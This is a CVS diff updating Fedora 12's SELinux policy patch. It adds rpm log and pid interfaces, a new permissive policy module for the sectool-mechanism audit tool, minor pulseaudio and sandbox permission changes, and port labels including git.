 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   31 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 +++++-
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  411 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   24 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.te          |   12 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    1 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    2 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 +++++++
 policy/modules/services/rhcs.te           |  394 ++++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  284 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1476 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 368 files changed, 17741 insertions(+), 2660 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.114
retrieving revision 1.115
diff -u -p -r1.114 -r1.115
--- policy-F12.patch	20 Oct 2009 22:59:51 -0000	1.114
+++ policy-F12.patch	21 Oct 2009 15:55:49 -0000	1.115
@@ -641,7 +641,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/online_update		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.if serefpolicy-3.6.32/policy/modules/admin/rpm.if
 --- nsaserefpolicy/policy/modules/admin/rpm.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-20 10:47:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-21 09:33:05.000000000 -0400
 @@ -13,11 +13,34 @@
  interface(`rpm_domtrans',`
  	gen_require(`
@@ -726,7 +726,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Send and receive messages from
  ##	rpm over dbus.
  ## </summary>
-@@ -167,6 +225,48 @@
+@@ -167,6 +225,68 @@
  
  ########################################
  ## <summary>
@@ -770,12 +770,32 @@ diff -b -B --ignore-all-space --exclude-
 +	allow rpm_script_t $1:dbus send_msg;
 +')
 +
++#####################################
++## <summary>
++##      Allow the specified domain to append
++##      to rpm log files.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`rpm_append_log',`
++        gen_require(`
++                type rpm_log_t;
++        ')
++
++        logging_search_logs($1)
++        append_files_pattern($1, rpm_log_t, rpm_log_t)
++')
++
 +########################################
 +## <summary>
  ##	Create, read, write, and delete the RPM log.
  ## </summary>
  ## <param name="domain">
-@@ -186,6 +286,24 @@
+@@ -186,6 +306,24 @@
  
  ########################################
  ## <summary>
@@ -800,7 +820,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Inherit and use file descriptors from RPM scripts.
  ## </summary>
  ## <param name="domain">
-@@ -219,7 +337,51 @@
+@@ -219,7 +357,51 @@
  	')
  
  	files_search_tmp($1)
@@ -852,7 +872,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -241,6 +403,25 @@
+@@ -241,6 +423,25 @@
  	allow $1 rpm_var_lib_t:dir list_dir_perms;
  	read_files_pattern($1, rpm_var_lib_t, rpm_var_lib_t)
  	read_lnk_files_pattern($1, rpm_var_lib_t, rpm_var_lib_t)
@@ -878,7 +898,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -265,6 +446,47 @@
+@@ -265,6 +466,47 @@
  
  ########################################
  ## <summary>
@@ -926,11 +946,46 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to create, read, 
  ##	write, and delete the RPM package database.
  ## </summary>
-@@ -283,3 +505,46 @@
+@@ -283,3 +525,81 @@
  	dontaudit $1 rpm_var_lib_t:file manage_file_perms;
  	dontaudit $1 rpm_var_lib_t:lnk_file manage_lnk_file_perms;
  ')
 +
++#####################################
++## <summary>
++##      Create, read, write, and delete rpm pid files.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`rpm_manage_pid_files',`
++        gen_require(`
++                type rpm_var_run_t;
++        ')
++
++        manage_files_pattern($1,rpm_var_run_t,rpm_var_run_t)
++')
++
++######################################
++## <summary>
++##      Create files in /var/run with the rpm pid file type.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`rpm_pid_filetrans',`
++        gen_require(`
++                type rpm_var_run_t;
++        ')
++
++        files_pid_filetrans($1, rpm_var_run_t, file)
++')
 +
 +########################################
 +## <summary>
@@ -3979,7 +4034,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/pulseaudio.te serefpolicy-3.6.32/policy/modules/apps/pulseaudio.te
 --- nsaserefpolicy/policy/modules/apps/pulseaudio.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/pulseaudio.te	2009-10-05 08:30:24.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/pulseaudio.te	2009-10-21 07:52:28.000000000 -0400
 @@ -26,6 +26,7 @@
  
  can_exec(pulseaudio_t, pulseaudio_exec_t)
@@ -3988,7 +4043,17 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(pulseaudio_t)
  kernel_read_kernel_sysctls(pulseaudio_t)
  
-@@ -69,6 +70,7 @@
+@@ -63,12 +64,17 @@
+ miscfiles_read_localization(pulseaudio_t)
+ 
+ optional_policy(`
++	bluetooth_stream_connect(pulseaudio_t)
++')
++
++optional_policy(`
+ 	gnome_manage_config(pulseaudio_t)
+ ')
+ 
  optional_policy(`
  	dbus_system_bus_client(pulseaudio_t)
  	dbus_session_bus_client(pulseaudio_t)
@@ -3996,7 +4061,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	optional_policy(`
  		consolekit_dbus_chat(pulseaudio_t)
-@@ -88,6 +90,10 @@
+@@ -88,6 +94,10 @@
  ')
  
  optional_policy(`
@@ -4007,7 +4072,7 @@ diff -b -B --ignore-all-space --exclude-
  	policykit_domtrans_auth(pulseaudio_t)
  	policykit_read_lib(pulseaudio_t)
  	policykit_read_reload(pulseaudio_t)
-@@ -100,4 +106,5 @@
+@@ -100,4 +110,5 @@
  optional_policy(`
  	xserver_manage_xdm_tmp_files(pulseaudio_t)
  	xserver_read_xdm_lib_files(pulseaudio_t)
@@ -4414,7 +4479,7 @@ diff -b -B --ignore-all-space --exclude-
 +# No types are sandbox_exec_t
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sandbox.if serefpolicy-3.6.32/policy/modules/apps/sandbox.if
 --- nsaserefpolicy/policy/modules/apps/sandbox.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/sandbox.if	2009-10-15 12:43:45.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/sandbox.if	2009-10-21 07:38:35.000000000 -0400
 @@ -0,0 +1,184 @@
 +
 +## <summary>policy for sandbox</summary>
@@ -4456,7 +4521,7 @@ diff -b -B --ignore-all-space --exclude-
 +	role $2 types sandbox_xserver_t;
 +	allow $1 sandbox_xserver_t:process signal_perms;
 +
-+	allow sandbox_x_domain $1:process sigchld;
++	allow sandbox_x_domain $1:process { sigchld signal };
 +	allow sandbox_x_domain sandbox_x_domain:process signal;
 +	# Dontaudit leaked file descriptors
 +	dontaudit sandbox_x_domain $1:fifo_file rw_fifo_file_perms;
@@ -4949,6 +5014,147 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_system_state($1_screen_t)
  	kernel_read_kernel_sysctls($1_screen_t)
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sectoolm.fc serefpolicy-3.6.32/policy/modules/apps/sectoolm.fc
+--- nsaserefpolicy/policy/modules/apps/sectoolm.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/sectoolm.fc	2009-10-21 09:33:05.000000000 -0400
+@@ -0,0 +1,6 @@
++
++/usr/libexec/sectool-mechanism\.py	--	gen_context(system_u:object_r:sectoolm_exec_t,s0)
++
++/var/lib/sectool(/.*)?				gen_context(system_u:object_r:sectool_var_lib_t,s0)
++
++/var/log/sectool\.log			--	gen_context(system_u:object_r:sectool_var_log_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sectoolm.if serefpolicy-3.6.32/policy/modules/apps/sectoolm.if
+--- nsaserefpolicy/policy/modules/apps/sectoolm.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/sectoolm.if	2009-10-21 09:33:05.000000000 -0400
+@@ -0,0 +1,3 @@
++
++## <summary>policy for sectool-mechanism</summary>
++
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sectoolm.te serefpolicy-3.6.32/policy/modules/apps/sectoolm.te
+--- nsaserefpolicy/policy/modules/apps/sectoolm.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/sectoolm.te	2009-10-21 09:35:38.000000000 -0400
+@@ -0,0 +1,120 @@
++
++policy_module(sectoolm,1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type sectoolm_t;
++type sectoolm_exec_t;
++dbus_system_domain(sectoolm_t, sectoolm_exec_t)
++
++# /var/lib files
++type sectool_var_lib_t;
++files_type(sectool_var_lib_t)
++
++# log files
++type sectool_var_log_t;
++logging_log_file(sectool_var_log_t)
++
++# tmp files
++type sectool_tmp_t;
++files_tmp_file(sectool_tmp_t)
++
++permissive sectoolm_t;
++
++########################################
++#
++# sectool local policy
++#
++
++allow sectoolm_t self:capability { dac_override net_admin sys_nice sys_ptrace };
++allow sectoolm_t self:process { getcap getsched  signull setsched };
++dontaudit sectoolm_t self:process { execstack execmem };
++
++allow sectoolm_t self:fifo_file rw_fifo_file_perms;
++allow sectoolm_t self:unix_dgram_socket { create_socket_perms sendto };
++
++# tmp files
++manage_dirs_pattern(sectoolm_t, sectool_tmp_t, sectool_tmp_t)
++manage_files_pattern(sectoolm_t, sectool_tmp_t, sectool_tmp_t)
++files_tmp_filetrans(sectoolm_t, sectool_tmp_t, { file dir })
++
++# var/lib files
++manage_files_pattern(sectoolm_t, sectool_var_lib_t,sectool_var_lib_t)
++manage_dirs_pattern(sectoolm_t, sectool_var_lib_t,sectool_var_lib_t)
++files_var_lib_filetrans(sectoolm_t,sectool_var_lib_t, { file dir })
++
++# log files
++manage_files_pattern(sectoolm_t, sectool_var_log_t,sectool_var_log_t)
++logging_log_filetrans(sectoolm_t,sectool_var_log_t,{ file })
++
++corecmd_exec_bin(sectoolm_t)
++corecmd_exec_shell(sectoolm_t)
++
++kernel_read_net_sysctls(sectoolm_t)
++kernel_read_network_state(sectoolm_t)
++kernel_read_kernel_sysctls(sectoolm_t)
++
++dev_read_sysfs(sectoolm_t)
++dev_read_urand(sectoolm_t)
++
++dev_getattr_all_blk_files(sectoolm_t)
++dev_getattr_all_chr_files(sectoolm_t)
++
++# selinux test
++selinux_validate_context(sectoolm_t)
++
++fs_getattr_all_fs(sectoolm_t)
++fs_list_noxattr_fs(sectoolm_t)
++
++files_getattr_all_pipes(sectoolm_t)
++files_getattr_all_sockets(sectoolm_t)
++files_read_all_files(sectoolm_t)
++files_read_all_symlinks(sectoolm_t)
++
++auth_use_nsswitch(sectoolm_t)
++
++libs_exec_ld_so(sectoolm_t)
++
++logging_send_syslog_msg(sectoolm_t)
++
++# tcp_wrappers test
++application_exec_all(sectoolm_t)
++
++domain_getattr_all_domains(sectoolm_t)
++domain_read_all_domains_state(sectoolm_t)
++
++userdom_users_dgram_send(sectoolm_t)
++userdom_dgram_send(sectoolm_t)
++userdom_manage_user_tmp_sockets(sectoolm_t)
++
++# tests related to network
++hostname_exec(sectoolm_t)
++iptables_domtrans(sectoolm_t)
++sysnet_domtrans_ifconfig(sectoolm_t)
++
++optional_policy(`
++	mount_exec(sectoolm_t)
++')
++
++optional_policy(`
++        policykit_dbus_chat(sectoolm_t)
++')
++
++# suid test using
++# rpm -Vf option
++optional_policy(`
++	prelink_domtrans(sectoolm_t)
++')
++
++optional_policy(`
++	rpm_exec(sectoolm_t)
++	rpm_append_log(sectoolm_t)
++	rpm_manage_pid_files(sectoolm_t)
++	rpm_pid_filetrans(sectoolm_t)
++	rpm_dontaudit_manage_db(sectoolm_t)
++')
++
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/seunshare.fc serefpolicy-3.6.32/policy/modules/apps/seunshare.fc
 --- nsaserefpolicy/policy/modules/apps/seunshare.fc	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/seunshare.fc	2009-09-30 16:12:48.000000000 -0400
@@ -5307,7 +5513,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.fc serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc
 --- nsaserefpolicy/policy/modules/kernel/corecommands.fc	2009-07-30 13:09:10.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-15 13:16:38.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-21 09:33:05.000000000 -0400
 @@ -1,4 +1,4 @@
 -
 +c
@@ -5349,16 +5555,17 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/gnucash/finance-quote-check -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/gnucash/finance-quote-helper -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/hal/device-manager/hal-device-manager -- gen_context(system_u:object_r:bin_t,s0)
-@@ -221,6 +228,8 @@
+@@ -221,6 +228,9 @@
  /usr/share/PackageKit/pk-upgrade-distro\.sh -- 	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/PackageKit/helpers(/.*)?	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/selinux/devel/policygentool -- gen_context(system_u:object_r:bin_t,s0)
 +/usr/share/sandbox/sandboxX.sh -- gen_context(system_u:object_r:bin_t,s0)
++/usr/share/sectool/.*\.py       --      gen_context(system_u:object_r:bin_t,s0)
 +/usr/share/smolt/client(/.*)?	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall/configpath	--	gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall-perl(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /usr/share/shorewall-shell(/.*)?	gen_context(system_u:object_r:bin_t,s0)
-@@ -263,6 +272,7 @@
+@@ -263,6 +273,7 @@
  /usr/share/ssl/misc(/.*)?		gen_context(system_u:object_r:bin_t,s0)
  /usr/share/switchdesk/switchdesk-gui\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-date/system-config-date\.py -- gen_context(system_u:object_r:bin_t,s0)
@@ -5366,7 +5573,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/system-config-selinux/system-config-selinux\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-display/system-config-display -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-httpd/system-config-httpd -- gen_context(system_u:object_r:bin_t,s0)
-@@ -315,3 +325,21 @@
+@@ -315,3 +326,21 @@
  ifdef(`distro_suse',`
  /var/lib/samba/bin/.+			gen_context(system_u:object_r:bin_t,s0)
  ')
@@ -5435,7 +5642,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corenetwork.te.in serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in
 --- nsaserefpolicy/policy/modules/kernel/corenetwork.te.in	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-07 16:06:40.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-21 07:47:57.000000000 -0400
 @@ -65,6 +65,7 @@
  type server_packet_t, packet_type, server_packet_type;
  
@@ -5444,7 +5651,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(afs_fs, tcp,2040,s0, udp,7000,s0, udp,7005,s0)
  network_port(afs_ka, udp,7004,s0)
  network_port(afs_pt, udp,7002,s0)
-@@ -87,26 +88,32 @@
+@@ -87,26 +88,33 @@
  network_port(comsat, udp,512,s0)
  network_port(cvs, tcp,2401,s0, udp,2401,s0)
  network_port(cyphesis, tcp,6767,s0, tcp,6769,s0, udp,32771,s0)
@@ -5466,6 +5673,7 @@ diff -b -B --ignore-all-space --exclude-
 +network_port(ftps, tcp,990,s0, udp,990,s0)
  network_port(gatekeeper, udp,1718,s0, udp,1719,s0, tcp,1721,s0, tcp,7000,s0)
  network_port(giftd, tcp,1213,s0)
++network_port(git, tcp,9418,s0, udp,9418,s0)
